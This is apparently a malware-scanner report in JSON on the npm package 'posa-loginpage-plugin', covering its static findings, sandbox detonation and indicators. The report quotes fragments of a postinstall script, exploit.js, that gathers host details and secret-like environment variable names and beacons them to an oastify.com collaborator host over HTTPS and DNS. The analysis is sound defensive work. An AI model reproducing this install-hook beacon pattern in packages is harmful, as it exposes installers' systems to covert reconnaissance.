{"package":"posa-loginpage-plugin","version":"1.0.0","known":true,"status":"done","discovered_at":1790291889544,"has_install_script":true,"report_url":"https://andymal.com/packages/posa-loginpage-plugin/1.0.0","verdict":"suspicious","action":"isolate","confidence":0.65,"summary":"The postinstall hook (exploit.js) collects environment variable names, CI signal presence, and system metadata, then POSTs this to https://cvb3ntfmioy1p6guji8.oastify.com/poc and does a DNS lookup to a subdomain of the same host. It writes a local marker to /tmp. No actual secret values are exfiltrated, but the OAST beacon is characteristic of blind execution-proof payloads.","intent":"A postinstall hook performs system reconnaissance and beacons to an OAST (out-of-band application security testing) collaborator server to prove remote code execution, without exfiltrating actual secret values.","capabilities":["network_egress","reconnaissance"],"iocs":{"domains":["cvb3ntfmioy1p6guji8.oastify.com"],"urls":["https://cvb3ntfmioy1p6guji8.oastify.com/poc"],"ips":[],"paths":["/etc/passwd"],"hashes":[]},"analyzed_at":1790291932488,"detonated":true,"model":"yolo","post_url":"https://andymal.com/blog/2026-09-24-posa-loginpage-plugin-1.0.0","findings":[{"title":"OAST collaborator beacon","detail":"POSTs JSON payload to https://cvb3ntfmioy1p6guji8.oastify.com/poc and DNS-resolves a subdomain for execution proof.","severity":"medium","location":"exploit.js:9,43,60"},{"title":"System reconnaissance","detail":"Collects hostname, OS, user, platform, cwd, and env var names via os.userInfo() (reads /etc/passwd on Linux).","severity":"low","location":"exploit.js:25-26"},{"title":"Possible-secret-key enumeration","detail":"Filters env var names for patterns token|secret|key|passwd|password|cred|ses|auth — reports names only, not values.","severity":"low","location":"exploit.js:14"},{"title":"Local marker file","detail":"Writes /tmp/depconfusion-poc-{uuid}.json confirming installation.","severity":"info","location":"exploit.js:35-36"}],"lab":{"ok":true,"lab_version":2,"duration_ms":3777,"lab_ip":"10.77.0.154","hooks":[{"name":"postinstall","command":"node exploit.js","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"\n> posa-loginpage-plugin@1.0.0 postinstall\n> node exploit.js\n\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":"require failed: Cannot find module '/work/pkg/index.js'. Please verify that the package.json has a valid \"main\" entry\n"}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node exploit.js","node exploit.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":2},{"proto":"socket","ip":"10.77.0.2","port":443,"n":1,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"cvb3ntfmioy1p0o6y6zu5q1y0p6guji8.oastify.com","n":1},{"name":"cfe55f09-cf14-4af8-9029-5de8472b6804.358eca98fb9d.exec.cvb3ntfmioy1p0o6y6zu5q1y0p6guji8.oastify.com","n":2}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"posa-loginpage-plugin","version":"1.0.0","description":"","scripts":{"postinstall":"node exploit.js"},"install_hooks":{"postinstall":"node exploit.js"},"bin":{},"main":"index.js","dependencies":[],"author":"","license":"ISC","hasInstallScript":true},"files":[{"path":"exploit.js","size":2282,"kind":"text","score":0.5848333333333334,"hits":["credential_harvest","network_egress","reconnaissance"],"role":"entry"},{"path":"package.json","size":236,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]}],"file_count":2,"unpacked_size":2518,"findings":[{"title":"Install hook","detail":"postinstall: node exploit.js","severity":"low","location":"package.json"},{"title":"Dumps the whole environment (API keys live there)","detail":"llect only SAFE metadata (no secret values) const envKeys = Object.keys(process.env || {}); const likelySecretKeys = envKeys.filter(k => /(toke","severity":"high","location":"exploit.js:13"},{"title":"Network activity","detail":"; const COLLAB = 'https://cvb3ntfmioy1p0o6y6zu5q1y0p6guji8.oastify.com/poc'; const ID = randomUUID(); // Collect only SAFE metada","severity":"medium","location":"exploit.js:9"},{"title":"Network activity","detail":"ify(payload)); const url = new URL(COLLAB); const req = https.request({ hostname: url.hostname, path: url.pathname + url.s","severity":"medium","location":"exploit.js:43"},{"title":"Network activity","detail":"`${ID}.${os.hostname()}`.replace(/[^a-zA-Z0-9.-]/g, ''); dns.lookup(`${label}.exec.${new URL(COLLAB).hostname}`, () => {}); } c","severity":"medium","location":"exploit.js:60"},{"title":"System reconnaissance","detail":"s.platform}/${process.arch}`, cwd: process.cwd(), host: os.hostname(), user: (() => { try { return os.userInfo().username; } ca","severity":"low","location":"exploit.js:25"},{"title":"System reconnaissance","detail":"cwd(), host: os.hostname(), user: (() => { try { return os.userInfo().username; } catch { return 'unknown'; } })(), ciSignals:","severity":"low","location":"exploit.js:26"},{"title":"System reconnaissance","detail":"exfil, just execution proof) try { const label = `${ID}.${os.hostname()}`.replace(/[^a-zA-Z0-9.-]/g, ''); dns.lookup(`${label}.ex","severity":"low","location":"exploit.js:59"},{"title":"Install hook runs a script","detail":"\"description\": \"\", \"main\": \"index.js\", \"scripts\": { \"postinstall\": \"node exploit.js\" }, \"keywords\": [], \"author\": \"\", \"license\": \"ISC\",","severity":"medium","location":"package.json:7"}],"injection_findings":[],"hits":{"credential_harvest":1,"network_egress":3,"reconnaissance":3,"install_hook_shell":1},"iocs":{"urls":["https://cvb3ntfmioy1p0o6y6zu5q1y0p6guji8.oastify.com/poc"],"domains":["cvb3ntfmioy1p0o6y6zu5q1y0p6guji8.oastify.com"],"ips":[]},"score":0.735,"priority":119,"hints":["install hook postinstall: node exploit.js","untrusted hosts referenced: cvb3ntfmioy1p0o6y6zu5q1y0p6guji8.oastify.com","capability hits: network_egress×3, reconnaissance×3, credential_harvest×1, install_hook_shell×1"],"entry_files":["exploit.js","index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}